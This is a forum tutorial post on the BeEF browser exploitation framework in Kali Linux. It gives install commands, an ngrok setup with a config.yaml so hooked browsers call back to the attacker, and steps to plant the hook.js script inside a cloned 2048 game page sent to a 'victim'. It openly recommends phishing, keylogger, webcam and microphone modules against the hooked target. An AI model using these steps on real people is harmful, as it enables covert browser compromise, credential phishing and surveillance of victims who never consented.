November 1, 2022 at 7:37 PM
Hello,Today I will show u how to use BeEF in Kali Linux! [u][b]What we will look at?[/b][/u]- What is BeEF? - Starting BeEF.- Using BeEF with ngrok.- Hooking Browser using html game.Let's start! [hide][code][1] What is BeEF? Browser Exploitation Framework (BeEF) is a penetration testing, or pen-testing, tool designed to provide effective client-side attack vectors and to exploit any potential vulnerabilities in the web browser. BeEF is unique among pen-testing frameworks because it does not try to tackle the more secure network interface aspects of a system. Instead, BeEF clings on to one or more web browsers to use as a Pavillion for injecting payloads, executing exploit modules, and testing a system for vulnerabilities by sticking to browser influenced utilities.[/code][2] Now for starting BeEF we need to use this commands:[i]sudo apt-get updatesudo apt-get install beef-xss[/i][img=400x200]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/DzLsD214/Screenshot-from-2022-11-01-21-05-55.png[/img][3] Open browser and open "127.0.0.1:3000/ui/panel" , write your user and pass.Now that you have logged into the BeEF web GUI, proceed to the “Hooked Browsers” section. [code]To get to the core of what BeEF is about, first, you will need to understand what a BeEF hook is. It is a JavaScript file, used to latch on to a target’s browser to exploit it while acting as a C&C between it and the attacker. This is what is meant by a “hook” in the context of using BeEF. Once a web browser is hooked by BeEF, you can proceed to inject further payloads and begin with post-exploitation.[/code]Now you need to send hooked link to victim --> http://IP:3000/demos/butcher/index.htmlIf you have been able to follow these steps without any problems, you should be able to see the hooked IP address and OS platform in the BeEF GUI. You can find out more about the compromised system by clicking on the hooked browser listed in the window.[img=700x400]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/0jTPLqYr/Screenshot-from-2022-11-01-20-34-28.png[/img]In left side you see hooked machine. You can glean all sorts of information from here, such as the plugins and extensions that the browser is using, and various information about the hardware and software specs of the target.[img]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/Nj727NtR/Screenshot-from-2022-11-01-20-37-26.png[/img][img]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/02StYJN7/Screenshot-from-2022-11-01-20-36-54.png[/img]Here is a list of available modules that can be used to breach a designated system. For example I use "Google phishing".[img=700x400]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/brkQtkRJ/Screenshot-from-2022-11-01-20-39-03.png[/img]And these modules include keyloggers and spyware, including the ones that use the webcams and microphones of the target browser.[4] How to use BeEF with NGROK?After installation NGROK type in terminal: [b][i]ngrok http 3000[/i][/b]Ngrok prints the publicly accessible forwarded tunnel URL(s) to terminal upon startup. Start BeEF, and ensure you can access the admin interface using the forwarded ngrok URL: https://your.ngrok.url/ui/panel.In order for the client-side BeEF JavaScript hook to be able to connect back to BeEF, the hook JavaScript needs to be generated with the correct connect-back details. The connect-back host, post and protocol (http/https), are configured in beef.http.public:* properties in the config.yaml configuration file. For example:[code]beef: # ... http: # ... public: host: ".ngrok.io" # ngrok domain name for forwarding URL port: "443" # ngrok port for forwarding URL (443 for HTTPS) https: true # ngrok supports HTTPS by default[/code]You'll need to restart BeEF after making changes to the configuration file. These changes to the configuration file are used to generated the BeEF hook JavaScript file.[5] Hooking Browser using html game (or other html page)- First start apache2, type this command: [i][b]sudo apache2 start [/b][/i]- Download this html game (for this example)[i][b]: git clone https://github.com/gabrielecirulli/2048[/b][/i]- After cloning, move all the contents to /var/www/html/.- Open index.html with nano: nano index.html and add the hook script [img]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/tJJg0jsH/Screenshot-from-2022-11-01-20-54-20.png[/img]When you scroll down, you will find a list of URLs of java script codes. All you have to do is paste our hook.js files URL along ith other URLs.[img]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/hG04fjxB/Screenshot-from-2022-11-01-20-55-42.png[/img]Click ctrl+C && ctrl+X.Now you need to send the page to victim (IP:3000/index.html) and Done! [img=700x400]https://external-content.duckduckgo.com/iu/?u=https://i.postimg.cc/ZRBd3pLN/Screenshot-from-2022-11-01-20-58-15.png[/img]You can see in the left side my active session.[/hide]Enjoy and have fun! :rolleyes:


